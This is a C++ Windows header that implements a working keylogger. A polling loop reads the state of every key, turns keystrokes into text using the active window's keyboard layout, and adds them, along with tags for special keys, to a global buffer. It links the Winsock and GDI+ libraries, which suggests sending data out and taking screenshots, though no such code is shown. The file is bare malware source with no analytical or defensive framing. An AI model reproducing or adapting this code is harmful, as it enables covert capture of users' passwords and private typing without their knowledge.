#pragma once
#pragma comment (lib,"ws2_32.lib")
#pragma comment(lib, "GdiPlus.lib")

#include <winsock2.h>
#include <iostream>
#include <windows.h>
#include <string>
#include <vector>

using namespace std;

CRITICAL_SECTION cs;
string KeyBuf;

void OnKeyPress(int Key, int State){
  if(State >= 0){  // Key_UP

   if ((Key == 13) || (Key == 18) || (Key == 17) || (Key == 16)||
    (Key == 9)  || (Key == 38) || (Key == 37) ||(Key == 39) ||
    (Key == 40) || (Key == 8)  || (Key == 44) ||(Key == 91) ||
    (Key == 46) )
   {
    EnterCriticalSection( &cs );
    if(Key == 13) KeyBuf += "|ENTER|\r\n";
    if(Key == 18) KeyBuf += "|ALT|";
    if(Key == 17) KeyBuf += "|CTRL|";
    if(Key == 16) KeyBuf += "|SHIFT|";
    if(Key == 9) KeyBuf += "|TAB|";
    if(Key == 38) KeyBuf += "|KEY_UP|";
    if(Key == 37) KeyBuf += "|KEY_LEFT|";
    if(Key == 39) KeyBuf += "|KEY_RIGHT|";
    if(Key == 40) KeyBuf += "|KEY_DOWN|";
    if(Key == 8) KeyBuf += "|BACKSPACE|";
    if(Key == 44) KeyBuf += "|PRINT SCREEN|";
    if(Key == 91) KeyBuf += "|WIN KEY|";
    if(Key == 46) KeyBuf += "|DELETE|";
    LeaveCriticalSection( &cs );
    return;
   }
    
   DWORD Process = 0;
   DWORD th = GetWindowThreadProcessId(GetForegroundWindow(), &Process);
   HKL hK = GetKeyboardLayout(th);

   char buf[255] = "";
   byte keys[256] = {0};
   GetKeyboardState((PBYTE)&keys);
   UINT skan = MapVirtualKey(Key, 0);

   int ret = ToAsciiEx(Key, skan, (PBYTE)&keys, (LPWORD)buf, 0, hK);//ToUnicodeEx

   if(ret != 0){
    EnterCriticalSection( &cs );
    KeyBuf += buf;
    LeaveCriticalSection( &cs );
   }

  }  
}

void KeyLog(){
  InitializeCriticalSection( &cs );

  int Keys[256] = {0};
  for (int i = 3; i < 255; i++){
   Keys[i] = GetKeyState(i);
  }

  while (1)
  {
   for (int i = 3; i < 255; i++)
   {
    int State = GetKeyState(i);
    if(Keys[i] != State){
     OnKeyPress(i, State);
    }
    Keys[i] = State;
   }

   Sleep(10);
  }
}